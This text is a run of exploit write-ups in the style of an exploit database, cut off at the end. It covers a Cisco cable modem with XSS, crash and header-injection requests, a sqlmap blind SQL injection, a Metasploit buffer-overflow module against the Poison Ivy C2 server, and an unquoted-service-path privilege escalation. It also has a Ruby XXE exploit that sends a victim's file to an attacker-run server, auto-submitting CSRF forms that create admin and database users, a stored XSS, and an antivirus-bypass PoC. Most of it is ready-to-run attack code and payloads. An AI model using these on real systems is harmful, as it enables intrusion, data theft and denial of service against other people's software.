Content-Type: application/x-www-form-urlencoded
Content-Length: 62
sortWireless=mac&h_sortWireless=mac" onmouseover=alert(1) x="y
#1 – Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: 192.168.1.1/WClientMACList.asp
Content-type: text/html
Connection: close
#2 – Redirect request:
GET /WClientMACList.asp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 192.168.1.1/WClientMACList.asp
Cookie: Lang=en; SessionID=109660
Connection: keep-alive
#2 – Reponse:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 7385
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">
<head>
(...)
</table>
</div>
<input type="hidden" name="h_sortWireless" value="mac" onmouseover=alert(1) x="y" />
</form>
</body>
</html>
(...)
- Gateway Client List Denial of Service
Device will crash after sending following request.
# HTTP Request
POST /goform/WClientMACList HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/WClientMACList.asp
Cookie: Lang=en; SessionID=109660
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
sortWireless=mac&h_sortWireless=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
- Gateway HTTP Corruption Denial of Service
Device will crash after sending following request.
# HTTP Request
POST /goform/Docsis_system HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Docsis_system.asp
Cookie: Lang=en; SessionID=348080
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
username_login=&password_login=&LanguageSelect=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&Language_Submit=0&login=Log+In
- "Stored" HTTP Response Injection
It is able to inject additional HTTP data to response, if string parameter of LanguageSelect won't be too long (in that case device will crash).
Additional data will be stored in device memory and returned with every http response on port 80 until reboot.
devil@hell:~$ curl -gi http://192.168.1.1/ -s | head -10
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 1469
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">
devil@hell:~$ curl --data "username_login=&password_login=&LanguageSelect=en%0d%0aSet-Cookie: w00t&Language_Submit=0&login=Log+In" http://192.168.1.1/goform/Docsis_system -s > /dev/null
devil@hell:~$ curl -gi http://192.168.1.1/ -s | head -10
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Set-Cookie: Lang=en
Set-Cookie: w00t
Set-Cookie: SessionID=657670
Content-Length: 1469
- Boot Information Disclosure
In early booting phase, for a short period of time some administrator functions can be executed, and it is able to extract device configuration file. We wrote an exploit that crash the modem, and then retrieve and decode config in order to obtain users credentials.
Exploit video PoC: https://www.youtube.com/watch?v=PHSx0s7Turo
========
CVE References:
CVE-2015-6401
CVE-2015-6402
CVE-2016-1328
CVE-2016-1336
CVE-2016-1337
Cisco Bug ID’s:
CSCux24935
CSCux24938
CSCux24941
CSCux24948
CSCuy28100
CSCux17178
Read more on our blog:
http://secorda.com/multiple-security-vulnerabilities-affecting-cisco-epc3928/
Drale DBTableViewer v100123 - Blind SQL Injection
# Exploit Title: drale DBTableViewer - SQL Injection(Blind/Error Base)
# Date: 2016-06-08
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://drale.com/
# Software Link: https://github.com/drale/DBTableViewer/archive/master.zip
# Version: Drale DBTableViewer v100123
# Tested on: Debian [wheezy]
# CVE : none
### VULNERABILITY
"orderby" parameter in DBTableViewer is vulnerable.
This parameter can be performed using blind injection.
### SQLMAP QUERY
#> sqlm -u "http://127.0.0.1/vul_test/DBTableViewer/?orderby=nice_name&sort=DESC" --level 4 --risk 3 --dbms=mysql
### SQLMAP OUTPUT
sqlmap identified the following injection points with a total of 727 HTTP(s) requests:
---
Parameter: orderby (GET)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: orderby=nice_name RLIKE (SELECT (CASE WHEN (1697=1697) THEN 0x6e6963655f6e616d65 ELSE 0x28 END))&sort=DESC
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
Payload: orderby=nice_name AND EXTRACTVALUE(6590,CONCAT(0x5c,0x7162766a71,(SELECT (CASE WHEN (6590=6590) THEN 1 ELSE 0 END)),0x71787a7671))&sort=DESC
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: orderby=(SELECT (CASE WHEN (6082=6082) THEN SLEEP(5) ELSE 6082*(SELECT 6082 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&sort=DESC
---
[12:03:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.1
....
[12:07:33] [INFO] retrieved: zoph
[12:07:33] [INFO] retrieved: zzzz
available databases [25]:
[*] "
[*] ""
[*] '
[*] ''
[*] '''
[*] api
[*] blackcat
[*] edusec
Source: https://twitter.com/halsten/status/740380171694280704
Win/Mac #MSFT Word #0day POC having 3 different forced triggers. Happy exploitation!
Let Word recover it, its essential, and then you can trigger the bug afterwards in 3 ways, Save, Close/Save, change format.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39906.zip
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.
The exploit does not need to know the password chosen for the bot/server communication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module
],
'References' =>
[
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],
],
'DisclosureDate' => 'Jun 03 2016',
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD)
},
'Platform' => 'win',
'Targets' =>
[
[
'Poison Ivy 2.1.4 on Windows XP SP3',
{
'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe"
'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe"
'InfoSizeOffset' => 0x1111, # offset of InfoSize variable
'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable
'Packet2Offset' => 0xB9E # offset of second packet within server's response
}
]
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(3460)
], self.class)
end
# XOR two strings
def xor_strings(s1, s2)
s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')
end
# Obtain keystream using known plaintext
def get_keystream(ciphertext, knownPlaintext)
if(ciphertext.length < knownPlaintext.length)
return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length])
else
return xor_strings(ciphertext, knownPlaintext)
end
end
# Apply keystream to plaintext
def use_keystream(plaintext, keyStream)
if(keyStream.length > plaintext.length)
return xor_strings(plaintext, keyStream[0, plaintext.length])
else
return xor_strings(plaintext, keyStream)
end
end
def check
connect
# Poke
sock.put("\x01")
# Fetch response
response = sock.get_once(6)
if (response == "\x89\xFF\x90\x0B\x00\x00")
vprint_status("Poison Ivy C&C version 2.1.4 detected.")
return Exploit::CheckCode::Appears
elsif (response == "\x89\xFF\x38\xE0\x00\x00")
vprint_status("Poison Ivy C&C version 2.0.0 detected.")
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Safe
end
# Load known plaintext chunk
def load_c2_packet_chunk
path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin')
chunk = ::File.open(path, 'rb') { |f| chunk = f.read }
chunk
end
def exploit
# Known plaintext from C2 packet
knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00"
knownPlaintext2 = load_c2_packet_chunk()
# detour shellcode (mov eax, StoreAddress; jmp eax)
detourShellcode = "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress
detourShellcode << "\xFF\xE0" # jmp eax
# Padding where necessary
compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length)
# Construct exploit buffer
exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder)
exploitBuffer << compressedBuffer # compressedBuffer
exploitBuffer << "\xFF" * 0x104 # readfds
exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder)
exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize
exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder)
exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize
exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4
exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam
exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout
exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd
exploitBuffer << Rex::Text.rand_text_alpha(4) # s
exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP
exploitBuffer << [target['Ret']].pack("V") # EIP
exploitBuffer << [target['StoreAddress']].pack("V") # arg_0
exploitBuffer << detourShellcode # detour to storage area
# Calculate values
allocSize = exploitBuffer.length + 1024
infoLen = payload.encoded.length
infoSize = (infoLen + 4)
# Handshake
connect
print_status("Performing handshake...")
# Poke
sock.put("\x01")
# Fetch response
response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)
eHeader = response[target['Packet2Offset'], 6]
eInfo = response[target['Packet2Offset'] + 10..-1]
if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))
# Keystream derivation using Known Plaintext Attack
keyStream1 = get_keystream(eHeader, knownPlaintext1)
keyStream2 = get_keystream(eInfo, knownPlaintext2)
# Set correct infoLen
exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]
# Set correct decompressSize
exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]
# Build packet
malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)
# Encrypt infoSize bytes
encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]
# Make sure infoSize gets overwritten properly since it is processed before decryption
encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]
# Finalize packet
exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer
print_status("Sending exploit...")
# Send exploit
sock.put(exploitPacket)
else
print_status("Not enough keystream available...")
end
select(nil,nil,nil,5)
disconnect
end
end
# Exploit Title: Matrix42 Remote Control Host - Unquoted Path Privilege Escalation
# Date: 06-05-2016
# Exploit Author: Roland C. Redl
# Vendor Homepage: https://www.matrix42.com/
# Software Link: n/a
# Version: 3.20.0031
# Tested on: Windows 7 Enterprise SP1 x64
# CVE : n/a
1. Description:
>sc qc FastViewerRemoteProxy
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: FastViewerRemoteProxy
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastProxy.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : FastViewer Proxyservice
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
>sc qc FastViewerRemoteService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: FastViewerRemoteService
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastRemoteService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : FastViewer Remoteservice
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
The unquoted path could potentially allow an authorized but non privileged local user to execute arbitrary code with elevated privileges on the system.
2. Proof of concept:
Copy notepad.exe to "C:\Program Files (x86)\Matrix42\" and rename it to "Remote.exe".
Restart the service or the machine and Remote.exe will start with SYSTEM privileges.
3. Solution:
To fix it manually, open regedit, browse to HKLM\SYSTEM\CurrentControlSet\services and add the quotes to the ImagePath value of the relevant service.
#!/usr/bin/ruby
#
# Exploit Title: Dell OpenManage Server Administrator 8.3 XXE
# Date: June 9, 2016
# Exploit Author: hantwister
# Vendor Homepage: http://en.community.dell.com/techcenter/systems-management/w/wiki/1760.openmanage-server-administrator-omsa
# Software Link: http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=CCKPW
# Version: 8.3
# Tested On: RHEL7
#
# Description:
# When using an XML parser on returned data by a remote node, OMSA does not
# restrict the use of external entities.
#
# This PoC first emulates a remote node (OMSA -> WS-Man -> this) and
# requests from the victim OMSA (this -> HTTPS -> OMSA) that it be managed.
#
# Next, the PoC requests (this -> HTTPS -> OMSA) a plugin that will attempt
# to parse returned XML, and when the OMSA instance requests this XML from
# the emulated node (OMSA -> WS-Man -> this), the PoC returns XML that
# includes a XXE attack, revealing the contents of /etc/redhat-release.
#
# Because OMSA merely requires you be authenticated to the node you are
# managing, which we control, authentication to the victim is not required
# to exploit this vulnerability.
#
# To use, change line 55 to your victim IP. If you have multiple network
# interfaces, you may wish to manually specify which one will be accessible
# to the victim on line 60.
#
# Note: during testing, OMSA would periodically begin rejecting connections
# to fake nodes and would need to be restarted; do not expect multiple runs
# against the same victim to be successful unless you can restart it.
#
# Copyright (C) 2016 hantwister
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
require 'webrick'
require 'webrick/https'
require 'nokogiri'
require 'securerandom'
require "net/http"
require "uri"
victimip = nil
if victimip.nil?
abort "You should modify this file and specify a victim IP."
end
attackerip = Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address
print "Your IP: #{attackerip}\n\nThe victim must be able to reach you at this IP, port 5986 and 8080.\nIf it isn't right, modify this script.\nYou have ten seconds to abort this script.\n\n"
sleep 10
wsmanCallback = WEBrick::HTTPServer.new(:Port => 5986, :SSLEnable => true, :SSLCertName => [ %w[CN localhost] ])
wsmanCallback.mount_proc '/wsman' do |req, res|
doc = Nokogiri::XML(req.body) do |config|
config.options = Nokogiri::XML::ParseOptions::NONET
end
doc.xpath('//wsmid:Identify', 'wsmid' => 'http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd').each do |idRequest|
res.status = 200
res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
res.body = '<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>'
end
doc.xpath('//n1:SendCmd_INPUT', 'n1' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule').each do |dellRequest|
dellCmd = dellRequest.child.text
respText = " "
if dellCmd.start_with?("__00omacmd=getuserrightsonly ")
userRights = (7 + (7 << 16))
respText = "<SMStatus>0</SMStatus><UserRightsMask>#{userRights}</UserRightsMask>"
elsif dellCmd.start_with?("__00omacmd=getaboutinfo ")
respText = "<ProductVersion>6.0.3</ProductVersion>"
elsif dellCmd.start_with?("__00omacmd=getcmdlogcontent")
respText = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE bogus [\n <!ENTITY % file SYSTEM \"file:///etc/redhat-release\">\n <!ENTITY % dtd SYSTEM \"http://#{attackerip}:8080/stage2.dtd\">\n%dtd;\n%send;\n]]>\n<bogus><blah /></bogus>"
end
resDoc = Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:n1=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule\"><s:Header><wsa:To> </wsa:To><wsa:RelatesTo> </wsa:RelatesTo><wsa:MessageID> </wsa:MessageID></s:Header><s:Body><n1:SendCmd_OUTPUT><n1:ResultCode>0</n1:ResultCode><n1:ReturnValue> </n1:ReturnValue></n1:SendCmd_OUTPUT></s:Body></s:Envelope>")
resDoc.xpath('//wsa:To').first.content=doc.xpath('//wsa:Address').first.text
resDoc.xpath('//wsa:RelatesTo').first.content=doc.xpath('//wsa:MessageID').first.text
resDoc.xpath('//wsa:MessageID').first.content=SecureRandom.uuid
resDoc.xpath('//n1:ReturnValue').first.content=respText
res.status = 200
res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
res.body = resDoc.to_xml
end
end
wsmanThread = Thread.new do
wsmanCallback.start
end
xxeCallback = WEBrick::HTTPServer.new(:Port => 8080)
xxeCallback.mount_proc '/stage2.dtd' do |req, res|
res.status = 200
res['Content-Type'] = 'application/xml-dtd'
res.body = "<!ENTITY % all\n \"<!ENTITY % send SYSTEM 'http://#{attackerip}:8080/xxe?result=%file;'>\"\n>\n%all;\n"
end
result = nil
xxeCallback.mount_proc '/xxe' do |req, res|
result = req.query['result']
wsmanCallback.shutdown
xxeCallback.shutdown
end
xxeThread = Thread.new do
xxeCallback.start
end
trap 'INT' do
wsmanCallback.shutdown
xxeCallback.shutdown
abort "Exiting"
end
httpConn = Net::HTTP.new(victimip, 1311)
httpConn.use_ssl=true
httpConn.verify_mode=OpenSSL::SSL::VERIFY_NONE
print "\n\nRequesting that the victim log onto this malicious node...\n\n"
logonUri = URI.parse("https://#{victimip}:1311/LoginServlet?flag=true&managedws=false")
logonReq = Net::HTTP::Post.new(logonUri.request_uri)
logonReq.set_form_data({"manuallogin" => "true", "targetmachine" => attackerip, "user" => "nobody", "password" => "", "application" => "omsa", "ignorecertificate" => "1"})
logonRes = httpConn.request(logonReq)
jSessionId = logonRes['Set-Cookie']
jSessionId = jSessionId[(jSessionId.index('=')+1)..(jSessionId.index(';')-1)]
vid = logonRes['Location']
vid = vid[(vid.index('&vid=')+5)..-1]
print "\n\nJSESSIONID = #{jSessionId}\nVID = #{vid}\nRequesting the victim's CmdLogWebPlugin...\n\n"
pluginUri = URI.parse("https://#{victimip}:1311/#{vid}/DataArea?plugin=com.dell.oma.webplugins.CmdLogWebPlugin&vid=#{vid}")
pluginReq = Net::HTTP::Get.new(pluginUri.request_uri)
pluginReq['Cookie']="JSESSIONID=#{jSessionId}"
pluginRes = httpConn.request(pluginReq)
wsmanThread.join
xxeThread.join
print "\n\nSuccessful XXE: #{result}\n\n" unless result.nil?
<!--
# Exploit Title: miniMySQLAdmin 1.1.3 - CSRF(Execute SQL Query)
# Date: 2016-06-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://xdsoft.net/minimysqladmin.html
# Software Link: https://github.com/xdan/miniMySQLAdmin/archive/master.zip
# Version: v1.1.3
# Tested on: Debian [wheezy]
# CVE : none
-->
<hr>
<form name="csrf_poc" action="http://192.168.0.14/vul_test/target/miniMySQLAdmin/" method="GET">
<input type="hidden" name="dbname" value="mysql">
<input type="hidden" name="table" value="user">
<input type="hidden" name="sql" value="create user exploit_user"> <!-- SQL Query -->
<input type="submit" value="Replay!">
</form>
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
<!--
#### Output ####
#> select * from `user` order by `User` asc limit 20
Host User
% exploit_user1
-->
<!--
# Exploit Title: Mobiketa - CSRF Add Admin Exploit
# Date: 09/06/2016
# Exploit Author: Murat YILMAZLAR
# Vendor Homepage: http://www.ynetinteractive.com/mobiketa/
# Version: 1.0
# Exploit:
< -- bug code started -- >
-->
<html>
<body>
<form action="[SITE]/[mobiketa_path]/index.php?url=user" method="POST"
enctype="multipart/form-data">
<input type="hidden" name="is_admin" value="1" />
<input type="hidden" name="name" value="murat y" />
<input type="hidden" name="email"
value="murrat@protonmail.com" />
<input type="hidden" name="username" value="murrat" />
<input type="hidden" name="password" value="123123123" />
<input type="hidden" name="id" value="15" />
<input type="hidden" name="update" value=" " />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<!--
< -- end of the bug code -- >
#########################
[+] Contact: http://twitter.com/muratyilmazlarr
-->
# Exploit Title: phpMyFAQ 2.9.0 Stored XSS
# Date: 09-06-2016
# Software Link: http://www.phpmyfaq.de/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
PHP `filter_input()` function with `FILTER_VALIDATE_URL` flag is used to validate url inside `savefaq` functionality.
But this function doesn’t protect against XSS.
http://security.szurek.pl/phpmyfaq-290-stored-xss.html
2. Proof of Concept
By default every user can propose faq entries.
When admin activate article using http://phpmyfaq/admin/?action=view url or records.defaultActivation option is enabled, XSS will be visible on entry page:
http://phpmyfaq/index.php?action=artikel&cat=%cat_id%&id=%article_id%&artlang=pl
For exploitation use folowing url inside Link for this FAQ field:
http://example.com/"><script>alert("xss")</script>
3. Solution:
Update to version 2.9.1
/*
# Exploit Title : Armadito antimalware - Backdoor/Bypass
# Date : 07-06-2016 (DD-MM-YYYY)
# Exploit Author : Ax.
# Vendor Homepage : http://www.teclib-edition.com/teclib-products/armadito-antivirus/
# Software Link : https://github.com/41434944/armadito-av
# Version : No version specified. Fixed 07-06-2016 post-disclosure
# Tested on : Windows 7
1. Description
Armadito is an modern antivirus developped by the french company TecLib' (http://www.teclib.com/). Looking at the source code made public few days ago we discovered that there was a backdoor (or a really lack of knowledge from their developpers, meaning that they should reconsider working in security).
2. Proof Of Concept
As it can be seen in the GitHub repository in the file : armadito-av/core/windows/service/scan_onaccess.c at line 283. An obvious backdoor has been implemented.
[SOURCE]
if (msDosFilename == NULL) {
a6o_log(ARMADITO_LOG_SERVICE,ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n",ThreadId);
scan_result = ARMADITO_EINVAL;
}
else if (strstr(msDosFilename,"ARMADITO.TXT") != NULL) { // Do not scan the log file. (debug only)
scan_result = ARMADITO_WHITE_LISTED;
}
else {
// launch a simple file scan
//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
}
[/SOURCE]
Calling a file ARMADITO.TXT-Malware.exe (or whatever containing ARMADITO.TXT in its name) simply bypass the runtime analysis of the antivirus. You can find attach a small piece of code based on Armadito to reproduce the exploit.
3. Solution
Stop paying developpers that do not know how to deal with security. (Reading the rest of the code has been an exhausting work).
3 bis. Real solution
It seems that they fixed the backdoor already (https://github.com/armadito/armadito-av/blob/DEV/core/windows/service/scan_onaccess.c)
*/
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#define BUFSIZE 4096
#define MAX_PATH_SIZE 255
#define ARMADITO_EINVAL 0
#define ARMADITO_WHITE_LISTED 1
char * ConvertDeviceNameToMsDosName(LPSTR DeviceFileName)
{
char deviceDosName[BUFSIZE];
char deviceLetter[3] = { '\0' };
char deviceNameQuery[BUFSIZE] = { '\0' };
char * deviceDosFilename = NULL;
DWORD len = 0;
DWORD len2 = 0;
DWORD ret = 0;
BOOL bFound = FALSE;
char * tmp;
if (DeviceFileName == NULL) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " [-] Error :: ConvertDeviceNameToMsDosName :: invalid parameter DeviceName\n");
printf("FileName null.\n");
return NULL;
}
// Get the list of the logical drives.
len = GetLogicalDriveStringsA(BUFSIZE, deviceDosName);
if (len == 0) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName!GetLogicalDriveStrings() failed :: error code = 0x%03d", GetLastError());
printf("Error : GetLogicalDriveStringsA()\n");
return NULL;
}
tmp = deviceDosName;
do {
//printf("[+] Debug :: deviceDosName = %s\n",tmp);
// Get the device letter without the backslash (Ex: C:).
memcpy_s(deviceLetter, 2, tmp, 2);
if (!QueryDosDeviceA(deviceLetter, deviceNameQuery, BUFSIZE)) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: QueryDosDeviceA() failed :: error code = 0x%03d\n", GetLastError());
printf("Error : QuedryDosDeviceA()\n");
return NULL;
}
//printf("[+] Debug :: DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);
if (deviceNameQuery == NULL) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName :: QueryDosDeviceA() failed :: deviceNameQuery is NULL\n", GetLastError());
printf("deviceNameQuery null.\n");
}
if (deviceNameQuery != NULL && strstr(DeviceFileName, deviceNameQuery) != NULL) {
//printf("[+] Debug :: FOUND DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);
len2 = strnlen_s(deviceNameQuery, MAX_PATH_SIZE);
len = strnlen_s(DeviceFileName, MAX_PATH_SIZE) - len2 + 3;
deviceDosFilename = (char*)calloc(len + 1, sizeof(char));
deviceDosFilename[len] = '\0';
memcpy_s(deviceDosFilename, len, tmp, 3);
memcpy_s(deviceDosFilename + 2, len, DeviceFileName + len2, len - 1);
bFound = TRUE;
}
// got to the next device name.
while (*tmp++);
//printf("[+] Debug :: next device name = %s\n",tmp);
} while (bFound == FALSE && *tmp);
if (bFound == FALSE) {
return NULL;
}
return deviceDosFilename;
}
int main(int argc, char ** argv)
{
char * msDosFilename = NULL;
int i = 0;
LPSTR ArmaditoFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT"; /* Converted, this is C:\\ARMADITO.txt */
LPSTR BinaryFile = "\\Device\\HarddiskVolume2\\Malware.exe"; /* Converted, this is C:\\malware.exe */
LPSTR BinaryPOCFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT-ILoveJeromeNotin.exe"; /* Converted, this is C:\\ARMADITO.txt-ILoveJeromeNotin.exe */
char *string;
int scan_result = -1;
/* Armadito get the filename from message->msg.FileName ; We remplaced it using a simple string*/
// msDosFilename = ConvertDeviceNameToMsDosName(message->msg.FileName);
for (i = 0; i < 3; i++)
{
if (i == 0)
{
printf("Scanning C:\\ARMADITO.txt\n");
msDosFilename = ConvertDeviceNameToMsDosName(ArmaditoFile);
}
else if (i == 1)
{
printf("Scanning C:\\malware.exe\n");
msDosFilename = ConvertDeviceNameToMsDosName(BinaryFile);
}
else
{
printf("Scanning C:\\ARMADITO.txt-ILoveJeromeNotin.exe\n");
msDosFilename = ConvertDeviceNameToMsDosName(BinaryPOCFile);
}
//report.status = ARMADITO_CLEAN;
/* If the ConvertDeviceNametoMsDosName fails */
if (msDosFilename == NULL) {
